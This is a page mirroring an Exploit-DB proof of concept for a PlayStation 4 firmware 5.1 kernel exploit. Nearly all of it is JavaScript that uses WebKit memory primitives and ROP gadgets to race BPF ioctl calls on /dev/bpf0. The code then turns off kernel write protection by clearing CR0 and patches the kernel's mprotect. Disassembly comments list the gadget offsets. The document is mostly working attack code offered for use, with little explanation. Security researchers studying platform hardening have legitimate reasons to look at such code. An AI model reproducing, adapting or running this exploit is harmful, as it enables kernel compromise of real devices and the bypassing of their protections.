Sony Playstation 4 (PS4) 5.1 – Kernel (PoC)

  • 作者: qwertyoruiop
    日期: 2018-05-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44819/
  • log("--- trying kernel exploit --");
    function malloc(sz)
    {
    var backing = new Uint8Array(0x10000+sz);
    window.nogc.push(backing);
    var ptr = p.read8(p.leakval(backing).add32(0x10));
    ptr.backing = backing;
    return ptr;
    }
    function malloc32(sz)
    {
    var backing = new Uint8Array(0x10000+sz*4);
    window.nogc.push(backing);
    var ptr = p.read8(p.leakval(backing).add32(0x10));
    ptr.backing = new Uint32Array(backing.buffer);
    return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
    p.write8(where_writeptr_strcpy, ptr);
    for (var i = 0; i < str.length; i++)
    strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
    strcpy_helper[str.length] = 0;
    }
    
    var spawnthread = function(name, chain) {
    
    /*
     
     
     seg000:00000000007FA7D0 sub_7FA7D0proc near ; DATA XREF: sub_7F8330+5Eo
     seg000:00000000007FA7D0 55pushrbp
     seg000:00000000007FA7D1 48 89 E5mov rbp, rsp
     seg000:00000000007FA7D4 41 56 pushr14
     seg000:00000000007FA7D6 53pushrbx
     seg000:00000000007FA7D7 48 89 F3mov rbx, rsi
     seg000:00000000007FA7DA 49 89 FEmov r14, rdi
     seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS"
     
     
     -> xref:
     
     
     seg000:00000000007F8380 48 8D 3D 28 D8 EC 00lea rdi, a1_5_18_0; "1.5.18"
     seg000:00000000007F8387 48 8D 15 82 23 00 00lea rdx, sub_7FA710
     seg000:00000000007F838E 48 8D 0D 3B 24 00 00lea rcx, sub_7FA7D0
     seg000:00000000007F8395 31 F6 xor esi, esi
     seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0
     seg000:00000000007F839F 66 41 C7 47 18 00 00mov word ptr [r15+18h], 0
     seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0
     seg000:00000000007F83AE E8 8D 3C D3 00callsub_152C040
     
     -> code:
     
     m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
     
     
     decodingWarning -> contains Missing PLTE before tRNS
     
     decodingFailed -> contains longjmp
     
     seg000:00000000007FA710 sub_7FA710proc near ; DATA XREF: sub_7F8330+57o
     seg000:00000000007FA710 ; sub_7F9DC0+2Eo
     seg000:00000000007FA710 55pushrbp
     seg000:00000000007FA711 48 89 E5mov rbp, rsp
     seg000:00000000007FA714 48 8B 35 5D B6 E5 02mov rsi, cs:qword_3655D78
     seg000:00000000007FA71B BA 60 00 00 00mov edx, 60h ; '`'
     seg000:00000000007FA720 E8 AB E6 D2 00callsub_1528DD0
     seg000:00000000007FA725 BE 01 00 00 00mov esi, 1
     seg000:00000000007FA72A 48 89 C7mov rdi, rax
     seg000:00000000007FA72D E8 26 6D 80 FFcallsub_1458 < longjmp
     seg000:00000000007FA732 0F 0B ud2
     seg000:00000000007FA732 sub_7FA710endp
     
     
     */
    var longjmp = window.webKitBase.add32(0x14e8);
    
    // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
    /*
     seg000:00000000001DD17F 48 8D 15 C9 38 4C 01lea rdx, aWebcoreGccontr ; "WebCore: GCController"
     seg000:00000000001DD186 31 F6 xor esi, esi
     seg000:00000000001DD188 E8 B3 1B F9 00callsub_116ED40
     */
    
    var createThread = window.webKitBase.add32(0x779190);
    
    var contextp = malloc32(0x2000);
    var contextz = contextp.backing;
    contextz[0] = 1337;
    
    var thread2 = new RopChain();
    thread2.push(window.gadgets["ret"]); // nop
    thread2.push(window.gadgets["ret"]); // nop
    thread2.push(window.gadgets["ret"]); // nop
    thread2.push(window.gadgets["ret"]); // nop
    chain(thread2);
    
    p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
    p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
    
    var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}
    
    window.nogc.push(contextp);
    window.nogc.push(thread2);
    
    return retv;
    }
    
    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
    print("kexp failed: no bpf0");
    }
    
    var assertcnt = 0;
    var assert = function(x)
    {
    assertcnt++;
    if (!x) throw "assertion " + assertcnt + " failed";
    }
    
    print("got it");
    
    var bpf_valid = malloc32(0x4000);
    var bpf_spray = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 0x800/8)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
    var bpf_spray_prog = malloc(0x40);
    p.write8(bpf_spray_prog, 0x800/8)
    p.write8(bpf_spray_prog.add32(8), bpf_spray)
    
    for (var i = 0 ; i < 0x400; )
    {
    bpf_valid_u32[i++] = 6; // BPF_RET
    bpf_valid_u32[i++] = 0;
    }
    
    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);
    
    print("okay")
    
    
    var interrupt1, loop1;
    var interrupt2, loop2;
    var sock = p.syscall(97, 2, 2)
    var kscratch = malloc32(0x100);
    
    var start1 = spawnthread("GottaGoFast", function(thread2){
    interrupt1 = thread2.ropframeptr;
    thread2.push(window.gadgets["ret"]); // pop rdx
    thread2.push(window.gadgets["ret"]); // pop rdx
    thread2.push(window.gadgets["ret"]); // pop rdx
    
    thread2.push(window.gadgets["pop rdi"]); // pop rdi
    thread2.push(fd); // what
    thread2.push(window.gadgets["pop rsi"]); // pop rsi
    thread2.push(0x8010427B); // what
    thread2.push(window.gadgets["pop rdx"]); // pop rdx
    thread2.push(bpf_valid_prog); // what
    thread2.push(window.gadgets["pop rsp"]); // pop rdx
    thread2.push(thread2.ropframeptr.add32(0x800)); // what
    thread2.count = 0x100;
    var cntr = thread2.count;
    thread2.push(window.syscalls[54]); // ioctl
    thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
    
    thread2.push(window.gadgets["pop rdi"]); // pop rdi
    var wherep = thread2.pushSymbolic(); // where
    thread2.push(window.gadgets["pop rsi"]); // pop rsi
    var whatp = thread2.pushSymbolic(); // where
    thread2.push(window.gadgets["mov [rdi], rsi"]); // perform write
    
    thread2.push(window.gadgets["pop rsp"]); // pop rdx
    
    loop1 = thread2.ropframeptr.add32(thread2.count*8);
    thread2.push(0x41414141); // what
    
    thread2.finalizeSymbolic(wherep, loop1);
    thread2.finalizeSymbolic(whatp, loop1.sub32(8));
    
    })
    
    var krop = new RopChain();
    var race = new RopChain();
    var ctxp = malloc32(0x2000);
    var ctxp1 = malloc32(0x2000);
    
    p.write8(bpf_spray.add32(16), ctxp);
    
    var prefaultlist = [];
    function pfd(addr)
    {
    var page = addr.add32(0);
    page.low &= 0xffffc000;
    p.syscall("mlock", page, 0x8000);
    p.read4(addr);
    return addr;
    }
    function pf(addr){
    var page = addr.add32(0);
    page.low &= 0xffffc000;
    p.syscall("mlock", page, 0x8000);
    var ret = addr.add32(0);
    while (1)
    {
    var opcode = (p.read4(ret) & 0xff);
    if (opcode == 0xc3)
    {
    prefaultlist.push(ret);
    break;
    }
    ret.add32inplace(1);
    }
    return addr;
    }
    for (var gadgetname in gadgets) {
    if (gadgets.hasOwnProperty(gadgetname)) {
    if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue;
    pf(gadgets[gadgetname]);
    }
    }
    /*
     67d27:48 8b 07 mov(%rdi),%rax
     67d2a:ff 50 58 callq*0x58(%rax)
    
     12a184d:48 83 ec 58sub$0x58,%rsp
     12a1851:89 55 d4 mov%edx,-0x2c(%rbp)
     12a1854:49 89 fd mov%rdi,%r13
     12a1857:49 89 f7 mov%rsi,%r15
     12a185a:49 8b 45 00mov0x0(%r13),%rax
     12a185e:ff 90 d0 07 00 00callq*0x7d0(%rax)
    
     6ef2e5:48 8b 7f 10mov0x10(%rdi),%rdi
     6ef2e9:ff 20jmpq *(%rax)
    
     2728a1:48 8d 7d d8lea-0x28(%rbp),%rdi
     2728a5:ff 50 40 callq*0x40(%rax)
     
     12846b4:48 8b 77 08mov0x8(%rdi),%rsi
     12846b8:48 8b 7f 18mov0x18(%rdi),%rdi
     12846bc:48 8b 07 mov(%rdi),%rax
     12846bf:ff 50 30 callq*0x30(%rax)
    
     15ca29b:48 8b 97 b0 00 00 00 mov0xb0(%rdi),%rdx
     15ca2a2:ff 57 70 callq*0x70(%rdi)
    
     f094a:48 89 e5 mov%rsp,%rbp
     f094d:48 8b 07 mov(%rdi),%rax
     f0950:ff 90 20 04 00 00callq*0x420(%rax)
    */
    var ctxp2 = malloc32(0x2000);
    
    var wk2apf = function(off)
    {
    var addr = window.webKitBase.add32(off);
    pf(addr);
    return addr;
    }
    
    p.write8(ctxp.add32(0x50), 0);
    p.write8(ctxp.add32(0x68), ctxp1);
    var stackshift_from_retaddr = 0;
    p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d));
    stackshift_from_retaddr += 8 + 0x58; // call + sub
    p.write8(ctxp.add32(0), ctxp2);
    p.write8(ctxp.add32(0x10), ctxp2.add32(8));
    
    p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5))
    
    // rax = ctxp2, rdi = ctxp2 + 8
    var iterbase = ctxp2;
    
    for (var i=0; i<0xf; i++)
    {
    p.write8(iterbase, wk2apf(0x12a184d))
    stackshift_from_retaddr += 8 + 0x58; // call + sub
    // rax = ctxp2+0x20
    p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5))
    p.write8(iterbase.add32(8), iterbase.add32(0x20));
    p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8))
    iterbase = iterbase.add32(0x20);
    }
    
    var raxbase = iterbase;
    var rdibase = iterbase.add32(8);
    var memcpy = get_jmptgt(webKitBase.add32(0xf8));
    memcpy = p.read8(memcpy);
    pf(memcpy);
    
    p.write8(raxbase, wk2apf(0x15ca29b))
    stackshift_from_retaddr += 8; // call + sub
    p.write8(rdibase.add32(0x70), wk2apf(0x12846b4)); // next gadget
    stackshift_from_retaddr += 8; // call + sub
    p.write8(rdibase.add32(0x18), rdibase); // rdi
    p.write8(rdibase.add32(8), krop.ropframeptr); // rax
    p.write8(raxbase.add32(0x30), wk2apf(0xf094a)); // next gadget
    p.write8(rdibase, raxbase);
    p.write8(raxbase.add32(0x420), wk2apf(0x2728a1)); // next gadget
    p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90)); // next gadget (memcpy skipping prolog)
    var topofchain = stackshift_from_retaddr + 0x28 ;
    p.write8(rdibase.add32(0xb0), topofchain); // rdx
    for (var i = 0; i < 0x1000/8; i++)
    {
    p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]);
    }
    krop.count = 0x10;
    /*
     f094a:48 89 e5 mov%rsp,%rbp
     f094d:48 8b 07 mov(%rdi),%rax
     f0950:ff 90 20 04 00 00callq*0x420(%rax)
     
     2728a1:48 8d 7d d8lea-0x28(%rbp),%rdi
     2728a5:ff 50 40 callq*0x40(%rax)
     
     55566f:48 01 c7 add%rax,%rdi
     555672:48 89 f8 mov%rdi,%rax
     555675:c3 retq
     
     46ef9:48 8b 07 mov(%rdi),%rax
     46efc:c3 retq
     
     1520c6:48 01 f0 add%rsi,%rax
     1520c9:c3 retq
     
     14536b:48 89 07 mov%rax,(%rdi)
     14536e:c3 retq
     
     1570a1f:48 21 f0 and%rsi,%rax
     1570a22:c3 retq
     
     353a71:48 89 c2 mov%rax,%rdx
     353a74:c3 retq
     
     1cee60:48 89 d0 mov%rdx,%rax
     1cee63:c3 retq
     
     15a3faf:48 89 c7 mov%rax,%rdi
     15a3fb2:c3 retq
     
     6c83a:48 8b 00 mov(%rax),%rax
     6c83d:c3 retq
     
     295dbe:ff e7jmpq *%rdi
    
     */
    p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]);
    p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]);
    p.write8(kscratch.add32(0x18), kscratch);
    
    function set_rdi_rbpoff() {
    krop.push(window.gadgets["pop rdi"]); // pop rdi
    krop.push(kscratch.add32(0x18)); // what
    
    krop.push(wk2apf(0xf094a)); // rbp = rsp
    var rbp_off = topofchain - krop.count*8 + 0x28;
    krop.push(wk2apf(0x2728a1)); // rbp = rsp
    
    return rbp_off;
    }
    
    function add_to_rdi(imm)
    {
    krop.push(window.gadgets["pop rax"]); // pop rdi
    krop.push(imm); // what
    krop.push(wk2apf(0x55566f)); // rbp = rsp
    
    }
    
    var rboff = set_rdi_rbpoff();
    add_to_rdi(rboff);
    
    var add_rax = function(imm)
    {
    krop.push(window.gadgets["pop rsi"]); // pop rsi
    krop.push(imm); // what
    krop.push(wk2apf(0x1520c6)); // add rsi to rax
    }
    
    
    krop.push(wk2apf(0x46ef9)); // deref rdi in rax
    add_rax(0x2fa); // what
    krop.push(wk2apf(0x14536b)); // write rax to rdi
    
    var shellbuf = malloc32(0x1000);
    
    
    var write_rax = function(addr)
    {
    krop.push(window.gadgets["pop rdi"]); // pop rdi
    krop.push(addr); // what
    krop.push(wk2apf(0x14536b)); // write rax to rdi
    }
    
    var load_rax = function(addr)
    {
    krop.push(window.gadgets["pop rax"]); // pop rax
    krop.push(addr); // what
    krop.push(wk2apf(0x6c83a)); // deref rax
    }
    
    var and_rax = function(imm)
    {
    krop.push(window.gadgets["pop rsi"]); // pop rdi
    krop.push(imm); // what
    krop.push(wk2apf(0x1570a1f)); // and rax to rdi
    }
    
    var rax_to_rdx = function()
    {
    krop.push(wk2apf(0x353a71)); // rax to rdx
    }
    var rdx_to_rax = function()
    {
    krop.push(wk2apf(0x1cee60)); // rdx to rax
    }
    var rax_to_rdi = function()
    {
    krop.push(wk2apf(0x15a3faf)); // rax to rdi
    }
    var write_to_rax64 = function(imm)
    {
    krop.push(window.gadgets["pop rsi"]); // pop rdi
    krop.push(imm); // what
    krop.push(window.gadgets["mov [rax], rsi"]); // pop rdi
    }
    write_rax(kscratch); // save address in usermode
    add_rax(0xc54b4)
    write_rax(kscratch.add32(8)); // save address
    krop.push(wk2apf(0x82)); // jmp rax
    write_rax(kscratch.add32(16)); // save cr0
    and_rax(new int64(0xfffeffff,0xffffffff)); // unset bit
    rax_to_rdx();
    load_rax(kscratch.add32(8))
    add_rax(9)
    rax_to_rdi();
    rdx_to_rax();
    krop.push(wk2apf(0x295dbe)); // jmp rdi
    
    /*
     Write Anywhere mode
     */
    
    load_rax(kscratch);
    add_rax(0x3609a);
    krop.push(wk2apf(0x6c83a)); // deref rax
    write_rax(kscratch.add32(0x330)); // rando offset lol
    
    	
    // put patches here. example is mprotect patch 
    
    load_rax(kscratch);
    add_rax(0x3609a);
    write_to_rax64(new int64(0x9090FA38,0x90909090)); // patch mprotect
    
    
    /*
     Disable Write Anywhere mode
     */
    
    load_rax(kscratch.add32(8))
    add_rax(9)
    rax_to_rdi();
    load_rax(kscratch.add32(16))
    krop.push(wk2apf(0x295dbe)); // jmp rdi
    
    krop.push(wk2apf(0x5cdb9));
    krop.push(kscratch.add32(0x1000));